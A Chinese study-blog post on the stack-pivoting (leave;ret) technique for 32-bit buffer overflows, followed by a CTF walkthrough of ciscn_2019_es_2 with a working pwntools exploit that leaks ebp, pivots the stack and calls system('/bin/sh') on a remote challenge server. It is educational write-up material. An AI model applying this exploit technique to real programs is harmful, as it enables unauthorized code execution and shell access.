第五周学习内容

第五周学习内容

一、栈迁移原理

1、栈迁移是一种在缓冲区溢出攻击中使用的技巧,它允许攻击者控制程序的执行流,即使在栈空间不足以直接覆盖返回地址(ret)的情况下。以下是栈迁移的核心原理和步骤:

(1)栈溢出:首先,攻击者需要通过栈溢出来篡改栈上的数据,通常是通过覆盖返回地址(ret)来控制程序的执行流。

(2)控制EBP:在栈迁移中,攻击者会尝试覆盖当前函数的EBP(基指针寄存器)的值,使其指向攻击者控制的内存区域。这是因为在函数退出时,leave指令会将EBP的值赋给ESP(栈指针寄存器),从而控制ESP的值。(3)利用leaveret指令:leave指令实际上是两个操作的组合:mov esp, ebppop ebp。在执行leave指令时,ESP和EBP会指向同一个地址,然后pop ebp将栈顶的内容弹入EBP。如果攻击者能够控制栈上EBP的内容,那么他们就可以控制ESP的值,进而影响EIP(指令指针寄存器)。leave_ret 主要由 leave 和 ret 两条指令组成。leave 指令相当于 mov esp, ebp 和 pop ebp 的组合,它的作用是将 ebp 的值赋给 esp(即让 esp 指向 ebp 所指的地方),然后将栈上 ebp 所指向的内容 pop 出来。这样,ebp 和 esp 的值都会改变,从而实现了栈的迁移。ret 指令则用于从函数返回,它将 rip(指令指针寄存器)指向栈上的下一个地址,并增加 rsp(栈指针寄存器)的值。通过结合使用 leave 和 ret 指令,可以实现栈迁移,即改变程序的执行流程,使得程序能够从一个栈帧迁移到另一个栈帧。这在处理栈溢出、控制程序流程等方面非常有用。

注意:leave_ret的作用:esp是栈顶,mov esp ebp就是让esp指向ebp 然后pop ebp将ebp弹走,那么ebp后面的内容就会进行抬栈,整体向上移动4位

(4)执行两次leave; ret:通过覆盖栈上的返回地址为另一组leave; ret指令的地址,攻击者可以使程序在退出时执行两次leave指令和一次ret指令。这样,当第一次pop ebp执行后,EIP将指向另一条mov esp, ebp指令的地址,而此时EBP寄存器的内容已经变为了被篡改过的栈上EBP的数据。这样,ESP就会被“骗”到另外的一处内存空间,完成栈的迁移。

(5)控制程序流:在ESP和EBP迁移到攻击者控制的内存区域后,攻击者可以在该区域构造ROP(返回导向编程)链或其他恶意代码,从而控制程序的执行流,执行任意代码,例如获取shell。

总结来说,栈迁移的核心在于利用leaveret指令的特性,通过栈溢出篡改EBP和返回地址,使得ESP指向攻击者控制的内存区域,从而控制程序的执行流。
请添加图片描述
请添加图片描述

2、原因

(1)可溢出长度不够:当可溢出的长度不足以覆盖返回地址或者无法将参数写到返回地址后面时,需要使用栈迁移来换一个地方执行shellcode或ROP链。

(2)绕过保护措施:如果程序开启了某些保护措施,如canary(栈保护),栈迁移可以绕过这些保护,因为canary通常只在一个栈帧中有效。

(3)解决空字符截断问题**:当栈溢出payload中包含空字符,而gadget地址也包含空字符时,栈迁移可以帮助绕过这个问题。

(4)泄露地址信息后:在泄露地址信息后,可能需要新的ROP payload,栈迁移可以在新的栈位置构造这些payload。

(5)绕过栈不可执行保护:如果开启了栈不可执行保护,栈迁移可以将执行流转移到bss段、data段或其他可执行的栈位置。

3、使用环境

(1)栈溢出条件满足**:至少要能够溢出覆盖EBP(基指针寄存器)。

(2)有可写的地方:需要有一个可写的地方来放置shellcode或ROP链,通常是bss段,如果不行再考虑写到栈中。

(3)输入空间限制:当题目限制输入空间,例如只能覆盖到EBP和返回地址,但不足以放置完整的ROP链时。

(4)栈空间不足:当栈上的空间不足以存储参数或者ROP链时,需要将栈迁移到其他位置。

(5)1栈执行保护开启:如果程序开启了NX(No eXecute)保护,栈迁移可以帮助在其他可执行的内存区域执行代码。

二、练习

1、ciscn_2019_es_2

①查保护,32位

请添加图片描述

请添加图片描述

main函数反汇编

请添加图片描述

进入vul函数,函数列表里有system函数,可是由于我们能溢出的字符串太短,没办法给system函数构造参数,不能使用原本的技巧解题。所以这里考虑到了栈迁移,同时迁移栈空间足够后需要知道/bin/sh的地址,这个可以通过read来输入/bin/sh,并且泄露一个地址,计算偏移量来找出输入/bin/sh的地址。

请添加图片描述
请添加图片描述
请添加图片描述

查看vul函数,在里面找到nop这个指令,我们要在gdb中将断点设置在这个位置,然后查看ebp0和ebp1之间的距离

请添加图片描述

输入stack 20
请添加图片描述

0xffffd160是buf,0xffffd188是ebp1,0xffffd198是ebp0,ebp1到ebp0的距离为0x10

写exp

from pwn import *
context.binary = './ciscn_2019_es_2'
elf = context.binary
io = remote('node5.buuoj.cn' ,28769)

system = elf.sym[ 'system' ]
leave_ret = 0x080484b8

payload = b'a'*(0x24)
payload += b'b'*4
io.recvline()
io.send(payload)

io.recvuntil(b'bbbb')
ebp_difference = 0x10
ebp0 = io.recv(4).ljust(4,b'\0')
print(ebp0)
ebp0 = u32(ebp0)
print (hex(ebp0))

payload = b'aaaa'
payload += p32(system)
payload += b'read'
payload += p32(ebp0-ebp_difference-0x28+4*0x4)
payload += b'/bin/sh'
payload = payload.ljust(0x28,b'\x00')
payload += p32(ebp0-ebp_difference-0x28)
payload += p32 (leave_ret)

io.sendlineafter(b'\n' ,payload)

io.interactive()
第一次read泄露ebp地址
""" 
第一次read,目的是泄露ebp0的值, 方便我们计算栈迁移时的目的地, 以及我们存放/bin/sh字符串的地址
"""
payload = b'a'*0×24 
payload += b'b'*4 
io.recvline() 
io.send(payload)
第二次read利用leave_ret劫持地址
payload = b'aaaa'
payload += p32(system)
payload += b'read'
payload += p32(ebp0-ebp_difference-0x28+4*0×4)
"""
我们使用ebp0,计算出了/bin/sh字符串的地址,
ebp0-ebp_difference就等于ebp1的值,
ebp0-ebp_difference-0x28就是payload最开头'aaaa'的地址,

b'aaaa'、p32(system)、b'read'、p32(ebp0-ebp_difference-0x28+4*0×4)
每个都占四个字节,所以这地方再加上4*4
就到了字符串/bin/sh的地址

该地址我们可以随意构造,比如说我们可以再将它往下推4个字节,这时我们的地址索引就要再加上4如:
payload = b'aaaa'
payload += p32(system)
payload += b'read'
payload += p32(ebp0-ebp_difference-0x28+5*0×4)
payload += b'aaaa'
payload += b'/bin/sh'
payload = payload.ljust(0×28,b'\x00')
payload += p32(ebp0-ebp_difference-0x28)
payload += p32 (leave_ret)
"""
payload += b'/bin/sh'
payload = payload.ljust(0×28,b'\x00')
payload += p32(ebp0-ebp_difference-0x28)
payload += p32 (leave_ret)

原文链接:https://blog.csdn.net/m0_55368674/article/details/128708832

图解栈迁移的过程

第一次leave_ret过程
第二次read函数输入后的状态:

请添加图片描述

第一次leave_ret中leave的mov esp,ebp操作(这个leave_ret就是vul函数最后的两个汇编指令)

请添加图片描述

第一次leave_ret中leave的pop ebp,esp=esp+4(不能忘!)指向leave_ret:

请添加图片描述

第一次leave_ret中 ret 的pop eip:

请添加图片描述

第二次leave_ret过程

请添加图片描述

第二次leave_ret中 leave 的 move esp ebp:(这个leave_ret是我们在rop链中利用ROPgadget构造的leave_ret)

第二次leave_ret中 leave 的 pop ebp

请添加图片描述

第二次leave_ret 中 ret 的 pop eip

请添加图片描述

其中,出栈(pop):栈顶指针ESP指向的栈中数据被取回到寄存器;栈顶指针ESP增加4个字节。

https://blog.csdn.net/m0_55368674/article/details/128708832

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值